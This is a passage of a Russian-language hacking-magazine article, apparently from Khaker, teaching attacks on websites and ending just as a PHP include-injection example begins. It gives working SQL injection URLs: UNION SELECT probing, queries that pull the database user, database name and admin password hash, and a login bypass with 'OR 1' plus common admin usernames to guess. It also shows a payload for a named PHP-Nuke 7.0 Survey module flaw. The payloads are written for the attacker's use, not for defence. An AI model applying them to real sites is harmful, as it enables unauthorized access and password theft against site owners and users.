конструктивные просчеты ЕКАТЕРИНА СЕДОВА Спецвыпуск: Хакер, номер #067, стр. 067-056-2 http://test.test/news.php?id=-20+UNION+SELECT+null Пустые значения добавляются к запросу до тех пор, пока на странице не исчезнет ошибка и не начнется вывод результата с пустыми данными. В данном случае должно быть два пустых значения: http://test.test/news.php?id=-20+UNION+SELECT+null,null Затем вот таким нехитрым способом ты сможешь узнать: 1 ЛОГИН ТЕКУЩЕГО ПОЛЬЗОВАТЕЛЯ БАЗЫ ДАННЫХ http://test.test/news.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null 2 ИМЯ БАЗЫ ДАННЫХ http://test.test/news.php?id=-1+UNION+SELECT+null,DATABASE(),null,null 3 ПАРОЛЬ ИЛИ ХЭШ ПАРОЛЯ АДМИНА http://test.test/news.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.users Достаточно чувствительное к SQL-инъекциям место в коде — это авторизация пользователей. Очень часто запрос, проверяющий верность данных авторизации, выглядит следующим образом: SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password'; Где $login и $password — это переменные, которые передаются из формы. Запрос возвращает либо данные пользователя, если такой нашелся в базе, либо пустой результат. Соответственно, чтобы несанкционированно пройти авторизацию, злоумышленнику достаточно модифицировать запрос так, чтобы тот вернул ненулевой результат, для чего задается логин, реально существующий в системе. Если злодей имеет дело с форумом или крупным порталом, он найдет подходящие логины без труда: логины пользователей выводятся открыто. Если же он пытается получить доступ к административной части сайта, то, может быть, попытается подобрать логин — adm, _adm, admin, administrator, chief, boss и проч. Вместо пароля указывается какое-либо истинное условие, к примеру OR 1. Если проверка типизации данных, поступивших из формы, отсутствует, запрос к БД будет сформирован вот так: SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR 1; Просто и красиво :). пример классической SQL-инъекции Небезызвестная программа PHP-Nuke 7.0 FINAL. Уязвимость была обнаружена в модуле Survey. Удаленный атакующий сможет внедрить произвольный SQL-код, используя отсутствие фильтрации переменной pollID: www.victim.com/php-nuke/modules.php?name=Surveys&pollID=a'[sql_code_here] Эта уязвимость пригодится для получения хэшей паролей пользователей портала. [PHP-инъекции] — второй распространенный вид атак на сайты. Метод реализации заключается в передаче функциям include() и require() произвольных параметров, что может привести к выполнению произвольного кода на серверной машине с серверными же правами. PHP-инъекции особо опасны, так как при стандартной сборке PHP и конфигурации web-сервера возможно получить доступ к использованию командного интерпретатора. пример PHP-инъекции Да-да, до сих пор существуют сайты, передающие файл для include’а через URL. Не веришь? Проверим. |